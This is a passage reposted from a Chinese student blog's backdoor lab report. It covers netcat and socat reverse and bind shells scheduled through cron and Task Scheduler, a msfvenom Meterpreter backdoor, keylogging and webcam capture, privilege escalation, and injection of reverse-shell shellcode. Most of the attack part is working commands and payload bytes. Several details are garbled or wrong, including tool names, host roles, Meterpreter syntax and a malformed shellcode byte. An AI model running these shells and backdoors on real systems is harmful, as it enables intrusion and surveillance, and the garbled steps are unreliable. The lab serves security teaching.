博客
关于我
网络对抗技术-Exp2-后门原理与实践 20181314
阅读量:608 次
发布时间:2019-03-13

本文共 3554 字,大约阅读时间需要 11 分钟。

一、一系列实验内容

本次实验内容涵盖从基础到进阶的多个实践任务,涉及如何利用常用工具获取主机操作权限,以及如何利用后门程序实现远程控制等内容。以下是实验的详细步骤说明:

任务一:使用Netcat获取主机操作Shell, cron启动

Cron是Linux系统中的定时任务命令,用于配置一行或多行命令按一定时间间隔执行。本次实验需要配置一个定时任务,该任务在特定时间反弹连接到目标主机,并通过Netcat启动一个交互式Shell。

在Windows系统中: 1. 按下win + r键,输入cmd并选择确定。 2. 在命令提示符中输入nc -l -p 1314,将端口1314监听。 3. 在Kali系统中,使用crontab -e进入crontab编辑界面,选择用3选择编辑器。 4. 在crontab文件中添加以下行:

16 * * * * /bin/netcat 192.168.31.58 1314 -e /bin/sh
5. 这条命令表示每小时的16分钟启动一次反向连接到目标主机的1314端口,并执行
cmd.exe程序。 6. 成功完成后,通过在Windows系统中
nc 172.16.214.132 1314或其他指令验证反弹连接是否建立,随后即可在命令提示符中获得Shell权限。

任务二:使用socat获取主机操作Shell,任务计划启动

socat是一个功能强大的网络工具,能够建立双向字节流连接。与Netcat类似,socat可以在特定端口绑定并运行外部程序,这也是获取Shell权限的重要方法之一。

在Kali系统中: 1. 打开“计算机管理”,进入“任务计划程序” -> “创建新任务”。 2. 在任务计划的操作步骤中,选择运行socat.exe或其他脚本文件。 3. 在参数中填写tcp-listen:1314 exec:cmd.exe,pty,stderr,将cmd.exe绑定到1314端口。 4. 在命令终端中执行socat - tcp:192.168.43.220:1314。 5. 确认连接成功后,通过在目标主机的命令提示符中执行diripconfig等指令验证Shell权限。

任务三:使用MSF Meterpreter生成后门程序并传输至主机

MSF Venice(Veil框架的扩展部分)可以生成可执行文件中的后门程序,该程序能够绕过杀毒软件并提供远程访问权限。以下是生成后门程序及运行的具体步骤:

生成文件: 1. 使用以下命令生成后门程序:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.121.133 LPORT=1314 -f exe > 20181314_backdoor.exe
2. 选项说明: -
-p:指定支付载荷(payload),这里使用Meterpreter反向TCPPayload。 -
-x:指定可执行文件的模板。 -
-e:选择编码器,用于对生成的payload进行变形以规避杀毒软件检测。 -
-b:可选项,用于排除不必要的字符。 -
LHOST:目标主机的IP地址。 -
LPORT:目标主机的端口号。

传输并运行后门程序: 1. 在Windows系统中运行:

ncat -l 1314 > 20181314_backdoor.exe
2. 确认目标主机已进入接收模式,在反弹终端上执行
nc 192.168.43.220 1314验证连接状态。 3. 左右传输完成后,目标主机即可通过Meterpreter框架获得Shell控制权限。

任务四:远程控制目标主机及提权

在成功获取Shell权限后,可以利用Meterpreter的功能进一步对目标主机进行操作,包括:摄像头拍摄、键盘记录、系统信息收集等,同时尝试提权以获得更高级别的访问权限。

操作步骤: 1. 使用Meterpreter的webcam_snap命令拍摄目标主机的摄像头输入:

meterpreter> webcam snapshot C:\path\to\image.jpg
2. 使用
keyscan_start开始记录键盘输入:
meterpreter> keyscan_start > keydump.log
3. 使用
keyscan_dump读取记录:
meterpreter> keyscan_dump < keydump.log
4. 使用
screenshot获取目标主机的截图:
meterpreter> screenshot C:\path\to\screenshot.png
5. 使用
getuid查看当前用户:
meterpreter> getuid
6. 使用
getsystem尝试提权:
meterpreter> getsystem
7. 提权成功后,可以执行更高权限的操作如禁用防火墙、安装系统程序等。

任务五:可选加分内容:注入到程序中的Shell代码获取权限

在实际情境中,攻击者可能会将Shellcode注入到可执行程序中,例如共享文件或其他常用程序中。当目标用户运行该程序时,Shellcode会触发并建立反弹连接,获得Shell权限。

具体操作: 1.下载并测试攻击者提供的Linux/x64反弹Shellcode:

Linux/x64 - Reverse (127.1.1.1:4444/TCP) Shell (/bin/sh) Shellcode (123 Bytes)
2.运行以下命令关闭随机地址空间加密以提高注入成功率:
echo "0" > /proc/sys/kernel/randomize_va_space
3. 使用 Perl 脚本生成注入数据:
perl -e 'print "A" x 32;print"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x6173\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05"' > input_shellcode
4. 在目标程序中注入攻击数据:
cat input; cat | ./pwn1
5. 在msfconsole中启动Metasploit模块并设置反弹:
use exploit/multi/handlers     set payload linux/x86/shell_reverse_tcp     set LHOST 127.0.0.1     set LPORT 4444     show options
6. 输入生成的攻击数据并快速按回车键,完成注入后即可在Kali终端中获取Shell权限。

实验中遇到的问题

在实验过程中可能会遇到一些问题,例如在Windows系统中使用getsystem失败。但通过深入研究和查阅资料,可以逐步解决这些问题,提升自己的技能。

实验收获与感想

通过本次实验,我不仅掌握了常用工具的使用方法,还深入了解了后门程序的技术细节和潜在危害。同时,这次实验也让我认识到细节至关重要,一小失误可能导致整个攻击失败或被守卫察觉。这也是为什么专业人士在进行安全运维和攻防时都需要特别谨慎的原因。

问题回答

  • 后门进入系统的常见方式
    • 通过伪装成合法软件包装恶意代码。
  • 后门在不同系统中的启动方式
    • Windows:设置为开机自启动或通过注册表任务栏启动。
    • Linux:通过修改init脚本或gemini脚本注入Shellcode。
  • Meterpreter的核心功能
    • 提供远程控制功能,支持摄像头、麦克风、键盘记录等操作。
  • 发现系统有后门的方法
    • 定期运行杀毒软件进行全盘扫描。
    • 部分系统提供防火墙日志,可以查看系统活动异常。
  • 转载地址:http://urpaz.baihongyu.com/

    你可能感兴趣的文章
    基于 HTML5 WebGL 的污水处理厂泵站自控系统
    查看>>
    django-表单之模型表单渲染(六)
    查看>>
    c++之程序流程控制
    查看>>
    spring-boot-2.0.3之redis缓存实现,不是你想的那样哦!
    查看>>
    有道云笔记 同步到我的博客园
    查看>>
    李笑来必读书籍整理
    查看>>
    Hadoop(十六)之使用Combiner优化MapReduce
    查看>>
    《机器学习Python实现_10_06_集成学习_boosting_gbdt分类实现》
    查看>>
    CoreCLR源码探索(八) JIT的工作原理(详解篇)
    查看>>
    andriod 开发错误记录
    查看>>
    C语言编译错误列表
    查看>>
    看明白这两种情况,才敢说自己懂跨链! | 喵懂区块链24期
    查看>>
    CentOS5 Linux编译PHP 报 mysql configure failed 错误解决办法
    查看>>
    《web安全入门》(四)前端开发基础Javascript
    查看>>
    pycharm新建文件夹时新建python package和新建directory有什么区别?
    查看>>
    python中列表 元组 字典 集合的区别
    查看>>
    python struct 官方文档
    查看>>
    Android DEX加固方案与原理
    查看>>
    iOS_Runtime3_动态添加方法
    查看>>
    Leetcode第557题---翻转字符串中的单词
    查看>>